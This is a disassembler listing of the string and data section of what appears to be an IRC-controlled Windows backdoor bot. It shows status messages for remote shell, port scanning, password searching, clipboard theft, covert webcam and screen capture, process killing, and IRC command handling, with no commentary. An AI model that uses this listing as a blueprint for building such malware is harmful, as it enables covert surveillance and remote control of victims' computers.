align 10h
asc_4352E0: ; DATA XREF: sub_40EE72+6119o
unicode 0, <~>,0
dword_4352E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+60C9o
dd 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_435318 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+6015o
dd 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
dword_435354 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+600Ao
dd 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 10h
dword_435390 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5FB5o
dd 2BBBB02h, 73252020h, 0
unk_4353B0 db 2 ; DATA XREF: sub_40EE72+5F8Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0
align 4
dword_4353FC dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_40EE72+5F15o
dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE72+5F0Fo
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_40EE72+5F08o
align 4
aSec db 'sec',0 ; DATA XREF: sub_40EE72+5EADo
aSecure db 'secure',0 ; DATA XREF: sub_40EE72+5E9Co
align 4
unk_435448 db 2 ; DATA XREF: sub_40EE72+5E91o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
dword_435490 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo
dword_4354A0 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao
dword_4354AC dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o
dword_4354B8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE72+5D52o
dword_4354C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5D1Fo
dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o
align 4
dword_435508 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5CFDo
dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h
dd 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o
align 4
dword_435558 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5C76o
dd 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_435594 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5C62o
dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh
dword_4355BC dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72+5C3Do
dd 2029671Fh, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_435604 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72+5BD2o
dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h
dd 2E7364h
dword_435630 dd 627573h ; DATA XREF: sub_40EE72+5BACo
dword_435634 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5B5Do
dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh
dword_43565C dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5B42o
dd 2BBBB02h
aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_4356A4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5AD3o
dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h
dword_4356CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5A36o
dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h
dword_4356F4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5A04o
dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh
dword_43571C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+59AFo
dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh
unk_435744 db 2 ; DATA XREF: sub_40EE72+599Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0
align 4
dword_435794 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
; DATA XREF: sub_40EE72+592Do
dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h
dd 73696C20h, 2E74h
aFull db 'full',0 ; DATA XREF: sub_40EE72+590Do
align 4
unk_4357CC db 2 ; DATA XREF: sub_40EE72+58B6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunning db 'Already running.',0
align 10h
unk_435800 db 2 ; DATA XREF: sub_40EE72+5893o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 64h, 6Bh
db 65h ; e
db 79h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 10h
dword_435830 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+584Ao
dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh
dword_435858 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_4145F9o
dd 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_435888 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5780o
dd 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 10h
dword_4358C0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5764o
dd 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_4358F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5746o
dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h
dd 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o
align 4
unk_435938 db 2 ; DATA XREF: sub_40EE72:loc_41457Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 4
unk_435974 db 2 ; DATA XREF: sub_40EE72+56EDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 4
unk_4359A8 db 2 ; DATA XREF: sub_40EE72:loc_41454Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 4
unk_4359E4 db 2 ; DATA XREF: sub_40EE72:loc_414548o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 10h
unk_435A20 db 2 ; DATA XREF: sub_40EE72+56CFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 4
dword_435A54 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_40EE72+565Fo
dd 2029671Fh, 2BBBB02h
aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0
align 10h
dword_435AA0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_40EE72+55F4o
dd 2029671Fh, 2BBBB02h
aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0
align 4
unk_435AEC db 2 ; DATA XREF: sub_40EE72+5528o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0
unk_435B34 db 2 ; DATA XREF: sub_40EE72+53B2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_435B7C db 2 ; DATA XREF: sub_40EE72+5287o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAlreadyRunni_0 db ' Already running.',0
unk_435BA8 db 2 ; DATA XREF: sub_40EE72+5271o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0
unk_435BF4 db 2 ; DATA XREF: sub_40EE72+5200o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForPa db ' Searching for password.',0
unk_435C2C db 2 ; DATA XREF: sub_40EE72:loc_414039o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start scan, port is invalid.',0
align 10h
unk_435C70 db 2 ; DATA XREF: sub_40EE72+5108o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
dword_435CE8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4EC8o
dd 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_435D1C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4EACo
dd 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_435D4C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4E89o
dd 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_435D7C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4E6Do
dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h
dword_435DA4 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413C5Eo
dd 2029671Fh, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 10h
dword_435DE0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72+4DE5o
dd 2029671Fh, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 4
dword_435E14 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413C11o
dd 2029671Fh, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_435E4C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE72+4D86o
dd 2029671Fh, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_40EE72+4D6Co
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE5o
; sub_40EE72:loc_414B4Co
align 4
dword_435E98 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4C6Ao
dd 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_435ECC db 3 ; DATA XREF: sub_40EE72:loc_413AC7o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 73h
db 68h ; h
db 65h, 2 dup(6Ch)
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0
align 10h
unk_435F10 db 3 ; DATA XREF: sub_40EE72+4C4Bo
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 73h
db 68h ; h
db 65h, 2 dup(6Ch)
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5FileOpenedS db '5 File opened: %s',0
align 4
dword_435F4C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4C2Bo
dd 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 10h
dword_435F80 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_413A51o
dd 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 4
dword_435FB8 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4BB4o
dd 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
unk_435FE4 db 2 ; DATA XREF: sub_40EE72:loc_4139F2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToTermin db 'Failed to terminate process: %s',0
unk_436024 db 2 ; DATA XREF: sub_40EE72+4B76o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessKilledS db 'Process killed: %s',0
align 4
unk_436058 db 2 ; DATA XREF: sub_40EE72:loc_413992o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToTerm_0 db 'Failed to terminate process ID: %s',0
align 4
unk_43609C db 2 ; DATA XREF: sub_40EE72+4B19o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessKilledI db 'Process killed ID: %s',0
align 4
dword_4360D4 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EE72+4AD4o
dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h
dd 0
dword_436100 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4A4Fo
dd 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 4
dword_436134 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EE72+49D4o
dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_436158 db 2 ; DATA XREF: sub_40EE72+49B6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0
dword_4361A4 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40EE72+4947o
dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0
dword_4361CC dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
; DATA XREF: sub_40EE72:loc_413747o
dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h
dd 0
unk_4361F8 db 2 ; DATA XREF: sub_40EE72+48CBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Dh, 69h, 72h
db 63h ; c
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_436224 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+489Ao
dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h
dword_43624C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+488Fo
dd 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 4
dword_436288 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+484Fo
dd 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 4
dword_4362B8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+483Bo
dd 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
dword_4362EC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_41363Bo
dd 2029671Fh, 2BBBB02h
aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0
dword_436338 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413631o
dd 2029671Fh, 2BBBB02h
aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0
align 4
dword_436388 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72+47B5o
dd 2029671Fh, 2BBBB02h
aAmateurVideoSa db ' Amateur video saved to: %s.',0
align 4
dword_4363C4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_41358Fo
dd 2029671Fh, 2BBBB02h
aInvalidParam_1 db ' Invalid parameters for webcam capture.',0
align 4
dword_43640C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413588o
dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0 db ' Error while capturing from webcam.',0
align 10h
dword_436450 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72+4706o
dd 2029671Fh, 2BBBB02h
aWebcamCaptureS db ' Webcam capture saved to: %s.',0
align 4
aFrame db 'frame',0 ; DATA XREF: sub_40EE72:loc_4134FCo
align 4
dword_436494 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72+467Do
dd 2029671Fh, 2BBBB02h
aDriverListComp db ' Driver list complete.',0
dword_4364C8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72+4647o
dd 2029671Fh, 2BBBB02h
aDriverDSS_ db ' Driver #%d - %s - %s.',0
aDrivers db 'drivers',0 ; DATA XREF: sub_40EE72:loc_413465o
dword_436504 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_413452o
dd 2029671Fh, 2BBBB02h
aNoFilenameSpec db ' No filename specified for screen capture.',0
dword_43654C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72:loc_41344Bo
dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1 db ' Error while capturing screen.',0
dword_436588 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE72+45C9o
dd 2029671Fh, 2BBBB02h
aScreenCaptureS db ' Screen capture saved to: %s.',0
align 4
aScreen db 'screen',0 ; DATA XREF: sub_40EE72:loc_413402o
align 4
dword_4365CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4578o
dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h
dword_4365F4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4534o
dd 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
dword_436634 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4518o
dd 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
dword_436668 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4498o
dd 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_436694 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4461o
dd 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 10h
dword_4366C0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4413o
dd 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 4
dword_4366EC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+43A2o
dd 2BBBB02h, 79432020h, 2E656C63h, 0
dword_436710 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4368o
; sub_40EE72+4E78o
dword_43671C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+4341o
dd 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4330o
align 4
dword_436754 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EE72+4307o
dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h
dd 73h
dword_436780 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EE72+4299o
dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h
dd 7325h
dword_4367AC dd 45444F4Dh, 732520h ; DATA XREF: sub_40EE72+4241o
dword_4367B4 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EE72+4214o
dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h
dd 7325h
dword_4367E0 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EE72+41BBo
; sub_40EE72+4CAFo
dword_4367E8 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Co
dword_4367F4 dd 54524150h, 732520h ; DATA XREF: sub_40EE72+4132o
dword_4367FC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_412F91o
dd 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 10h
